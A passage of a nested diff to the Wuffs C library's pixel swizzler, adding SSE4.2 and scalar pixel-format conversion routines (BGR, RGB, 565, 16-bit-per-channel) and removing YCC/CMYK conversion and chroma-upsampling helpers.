blend); -- break; -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- func = wuffs_base__pixel_swizzler__prepare__rgb( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ __m128i shuffle = _mm_set_epi8(+0x00, +0x0B, +0x0A, +0x09, // -+ +0x00, +0x08, +0x07, +0x06, // -+ +0x00, +0x05, +0x04, +0x03, // -+ +0x00, +0x02, +0x01, +0x00); -+ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- func = wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ while (n >= 6) { -+ __m128i x; -+ x = _mm_lddqu_si128((const __m128i*)(const void*)s); -+ x = _mm_shuffle_epi8(x, shuffle); -+ x = _mm_or_si128(x, or_ff); -+ _mm_storeu_si128((__m128i*)(void*)d, x); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- func = wuffs_base__pixel_swizzler__prepare__rgba_premul( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ s += 4 * 3; -+ d += 4 * 4; -+ n -= 4; - } - -- p->private_impl.func = func; -- p->private_impl.transparent_black_func = transparent_black_func; -- p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; -- p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; -- return wuffs_base__make_status( -- func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); --} -+ while (n >= 1) { -+ uint8_t b0 = s[0]; -+ uint8_t b1 = s[1]; -+ uint8_t b2 = s[2]; -+ d[0] = b0; -+ d[1] = b1; -+ d[2] = b2; -+ d[3] = 0xFF; - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -- const wuffs_base__pixel_swizzler* p, -- uint32_t up_to_num_pixels, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- const uint8_t** ptr_iop_r, -- const uint8_t* io2_r) { -- if (p && p->private_impl.func) { -- const uint8_t* iop_r = *ptr_iop_r; -- uint64_t src_len = wuffs_base__u64__min( -- ((uint64_t)up_to_num_pixels) * -- ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), -- ((uint64_t)(io2_r - iop_r))); -- uint64_t n = -- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -- dst_palette.len, iop_r, (size_t)src_len); -- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; -- return n; -+ s += 1 * 3; -+ d += 1 * 4; -+ n -= 1; - } -- return 0; --} - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- const uint8_t** ptr_iop_r, -- const uint8_t* io2_r) { -- if (p && p->private_impl.func) { -- const uint8_t* iop_r = *ptr_iop_r; -- uint64_t src_len = ((uint64_t)(io2_r - iop_r)); -- uint64_t n = -- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -- dst_palette.len, iop_r, (size_t)src_len); -- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; -- return n; -- } -- return 0; -+ return len; - } - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src) { -- if (p && p->private_impl.func) { -- return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -- dst_palette.len, src.ptr, src.len); -- } -- return 0; --} -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --WUFFS_BASE__MAYBE_STATIC uint64_t // --wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( -- const wuffs_base__pixel_swizzler* p, -- wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 dst_palette, -- uint64_t num_pixels) { -- if (p && p->private_impl.transparent_black_func) { -- return (*p->private_impl.transparent_black_func)( -- dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, -- p->private_impl.dst_pixfmt_bytes_per_pixel); -+ __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // -+ +0x00, +0x06, +0x07, +0x08, // -+ +0x00, +0x03, +0x04, +0x05, // -+ +0x00, +0x00, +0x01, +0x02); -+ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00, // -+ -0x01, +0x00, +0x00, +0x00); -+ -+ while (n >= 6) { -+ __m128i x; -+ x = _mm_lddqu_si128((const __m128i*)(const void*)s); -+ x = _mm_shuffle_epi8(x, shuffle); -+ x = _mm_or_si128(x, or_ff); -+ _mm_storeu_si128((__m128i*)(void*)d, x); -+ -+ s += 4 * 3; -+ d += 4 * 4; -+ n -= 4; - } -- return 0; --} - --// -------- -+ while (n >= 1) { -+ uint8_t b0 = s[0]; -+ uint8_t b1 = s[1]; -+ uint8_t b2 = s[2]; -+ d[0] = b2; -+ d[1] = b1; -+ d[2] = b0; -+ d[3] = 0xFF; - --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2); -+ s += 1 * 3; -+ d += 1 * 4; -+ n -= 1; -+ } - --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2); -+ return len; -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --#if defined(__GNUC__) && !defined(__clang__) --// No-op. --#else --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column, -- bool last_column); --#endif --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__rgb(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --// -------- -+ while (n >= 1) { -+ uint8_t b0 = s[0]; -+ uint8_t b1 = s[1]; -+ uint8_t b2 = s[2]; -+ d[0] = b2; -+ d[1] = b1; -+ d[2] = b0; -+ d[3] = 0xFF; - --static inline uint32_t // --wuffs_base__u32__max_of_4(uint32_t a, uint32_t b, uint32_t c, uint32_t d) { -- return wuffs_base__u32__max( // -- wuffs_base__u32__max(a, b), // -- wuffs_base__u32__max(c, d)); --} -+ s += 1 * 3; -+ d += 1 * 4; -+ n -= 1; -+ } - --static inline uint32_t // --wuffs_base__u32__min_of_5(uint32_t a, -- uint32_t b, -- uint32_t c, -- uint32_t d, -- uint32_t e) { -- return wuffs_base__u32__min( // -- wuffs_base__u32__min( // -- wuffs_base__u32__min(a, b), // -- wuffs_base__u32__min(c, d)), // -- e); -+ return len; - } - --// -------- -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__rgbx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func)( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2, -- const uint8_t* up3); -+ // TODO: unroll. - --static void // --wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2, -- const uint8_t* up3) { -- for (; x < x_end; x++) { -- // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's -- // RGBW: 0xFFu means no ink instead of full ink. Note that a double -- // inversion is a no-op, so inversions might be implicit in the code below. -- uint32_t r = ((uint32_t)(*up0++)); -- uint32_t g = ((uint32_t)(*up1++)); -- uint32_t b = ((uint32_t)(*up2++)); -- uint32_t w = ((uint32_t)(*up3++)); -- r = ((r * w) + 0x7Fu) / 0xFFu; -- g = ((g * w) + 0x7Fu) / 0xFFu; -- b = ((b * w) + 0x7Fu) / 0xFFu; -- wuffs_base__pixel_buffer__set_color_u32_at( -- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); -- } --} -+ while (n >= 1) { -+ uint8_t b0 = s[0]; -+ uint8_t b1 = s[1]; -+ uint8_t b2 = s[2]; -+ d[0] = b2; -+ d[1] = b1; -+ d[2] = b0; -+ d[3] = 0xFF; - --static void // --wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2, -- const uint8_t* up3) { -- for (; x < x_end; x++) { -- // We invert once again: 0xFFu means no ink instead of full ink. -- uint32_t color = // -- wuffs_base__color_ycc__as__color_u32( // -- *up0++, *up1++, *up2++); -- uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); -- uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); -- uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); -- uint32_t w = ((uint32_t)(*up3++)); -- r = ((r * w) + 0x7Fu) / 0xFFu; -- g = ((g * w) + 0x7Fu) / 0xFFu; -- b = ((b * w) + 0x7Fu) / 0xFFu; -- wuffs_base__pixel_buffer__set_color_u32_at( -- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -+ -+ return len; - } - - // -------- - --typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func)( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2); -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw_4x16le__bgr(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --static void // --wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- for (; x < x_end; x++) { -- uint32_t color = 0xFF000000u | // -- (((uint32_t)(*up0++)) << 16u) | // -- (((uint32_t)(*up1++)) << 8u) | // -- (((uint32_t)(*up2++)) << 0u); -- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); -- } --} -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s0; -+ d[1] = s0; -+ d[2] = s1; -+ d[3] = s1; -+ d[4] = s2; -+ d[5] = s2; -+ d[6] = 0xFF; -+ d[7] = 0xFF; - --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- for (; x < x_end; x++) { -- uint32_t color = // -- wuffs_base__color_ycc__as__color_u32( // -- *up0++, *up1++, *up2++); -- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); -+ s += 1 * 3; -+ d += 1 * 8; -+ n -= 1; - } --} -- --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- size_t dst_stride = dst->private_impl.planes[0].stride; -- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); - -- for (; x < x_end; x++) { -- uint32_t color = // -- wuffs_base__color_ycc__as__color_u32( // -- *up0++, *up1++, *up2++); -- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); -- dst_iter += 4u; -- } -+ return len; - } - --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx( -- wuffs_base__pixel_buffer* dst, -- uint32_t x, -- uint32_t x_end, -- uint32_t y, -- const uint8_t* up0, -- const uint8_t* up1, -- const uint8_t* up2) { -- size_t dst_stride = dst->private_impl.planes[0].stride; -- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- for (; x < x_end; x++) { -- uint32_t color = // -- wuffs_base__color_ycc__as__color_u32_abgr( // -- *up0++, *up1++, *up2++); -- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); -- dst_iter += 4u; -+ while (n >= 1) { -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_base__color_u32__as__color_u64( -+ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); -+ -+ s += 1 * 2; -+ d += 1 * 8; -+ n -= 1; - } -+ -+ return len; - } - --// -------- -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw_4x16le__bgrx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upsamples to a --// destination slice at least 480 (YCCK) or 672 (YCC) bytes long and whose --// src_len (multiplied by 1, 2, 3 or 4) is positive but no more than that. This --// 480 or 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice --// length. Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. --// --// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks --// wide and each block is 8 pixels wide. We have: --// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 --// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 --// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 --// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 --// --// Box filters are equivalent to nearest neighbor upsampling. These ignore the --// src_ptr_minor, h1v2_bias, first_column and last_column arguments. --// --// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 --// dimensions), which is higher quality (less blocky) but also higher --// computational effort. --// --// In theory, we could use triangle filters for any (inv_h, inv_v) combination. --// In practice, matching libjpeg-turbo, we only implement it for the common --// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an --// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). --typedef const uint8_t* ( -- *wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func)( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, // Nearest row. -- const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. -- size_t src_len, -- uint32_t h1v2_bias, -- bool first_column, -- bool last_column); -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s0; -+ d[1] = s0; -+ d[2] = s1; -+ d[3] = s1; -+ d[4] = s2; -+ d[5] = s2; -+ d[6] = 0xFF; -+ d[7] = 0xFF; - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor_ignored, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column_ignored, -- bool last_column_ignored) { -- return src_ptr_major; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; -+ } -+ -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor_ignored, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column_ignored, -- bool last_column_ignored) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp = src_ptr_major; -- while (src_len--) { -- uint8_t sv = *sp++; -- *dp++ = sv; -- *dp++ = sv; -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw_4x16le__rgb(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; -+ -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s2; -+ d[1] = s2; -+ d[2] = s1; -+ d[3] = s1; -+ d[4] = s0; -+ d[5] = s0; -+ d[6] = 0xFF; -+ d[7] = 0xFF; -+ -+ s += 1 * 3; -+ d += 1 * 8; -+ n -= 1; - } -- return dst_ptr; -+ -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor_ignored, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column_ignored, -- bool last_column_ignored) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp = src_ptr_major; -- while (src_len--) { -- uint8_t sv = *sp++; -- *dp++ = sv; -- *dp++ = sv; -- *dp++ = sv; -+// -------- -+ -+static uint64_t // -+wuffs_private_impl__swizzle_rgb__bgr_565(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; -+ -+ // TODO: unroll. -+ -+ while (n >= 1) { -+ wuffs_base__poke_u24le__no_bounds_check( -+ d + (0 * 3), -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); -+ -+ s += 1 * 2; -+ d += 1 * 3; -+ n -= 1; - } -- return dst_ptr; -+ -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box( -+// -------- -+ -+static uint64_t // -+wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src( - uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor_ignored, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column_ignored, -- bool last_column_ignored) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp = src_ptr_major; -- while (src_len--) { -- uint8_t sv = *sp++; -- *dp++ = sv; -- *dp++ = sv; -- *dp++ = sv; -- *dp++ = sv; -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ -+ size_t n = len; -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); -+ -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; - } -- return dst_ptr; -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle( -+static uint64_t // -+wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over( - uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor, -- size_t src_len, -- uint32_t h1v2_bias, -- bool first_column, -- bool last_column) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp_major = src_ptr_major; -- const uint8_t* sp_minor = src_ptr_minor; -- while (src_len--) { -- *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // -- (1u * ((uint32_t)(*sp_minor++))) + // -- h1v2_bias) >> -- 2u); -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; -+ -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -+ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u64__as__color_u32( -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, -+ s0))); -+ -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; - } -- return dst_ptr; -+ -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column, -- bool last_column) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp = src_ptr_major; -+// -------- - -- if (first_column) { -- src_len--; -- if ((src_len <= 0u) && last_column) { -- uint8_t sv = *sp++; -- *dp++ = sv; -- *dp++ = sv; -- return dst_ptr; -- } -- uint32_t svp1 = sp[+1]; -- uint8_t sv = *sp++; -- *dp++ = sv; -- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); -- if (src_len <= 0u) { -- return dst_ptr; -- } -- } -+static uint64_t // -+wuffs_private_impl__swizzle_rgbw__bgr_565(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- if (last_column) { -- src_len--; -- } -+ // TODO: unroll. - -- for (; src_len > 0u; src_len--) { -- uint32_t svm1 = sp[-1]; -- uint32_t svp1 = sp[+1]; -- uint32_t sv3 = 3u * (uint32_t)(*sp++); -- *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); -- *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); -- } -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); - -- if (last_column) { -- uint32_t svm1 = sp[-1]; -- uint8_t sv = *sp++; -- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); -- *dp++ = sv; -+ s += 1 * 2; -+ d += 1 * 4; -+ n -= 1; - } - -- return dst_ptr; -+ return len; - } - --static const uint8_t* // --wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle( -- uint8_t* dst_ptr, -- const uint8_t* src_ptr_major, -- const uint8_t* src_ptr_minor, -- size_t src_len, -- uint32_t h1v2_bias_ignored, -- bool first_column, -- bool last_column) { -- uint8_t* dp = dst_ptr; -- const uint8_t* sp_major = src_ptr_major; -- const uint8_t* sp_minor = src_ptr_minor; -+// -------- - -- if (first_column) { -- src_len--; -- if ((src_len <= 0u) && last_column) { -- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // -- (4u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + 7u) >> 4u); -- return dst_ptr; -- } -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__index__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len3 = dst_len / 3; -+ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. -- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. -- uint32_t sv_major_p1 = sp_major[+1]; -- uint32_t sv_minor_p1 = sp_minor[+1]; -+ const size_t 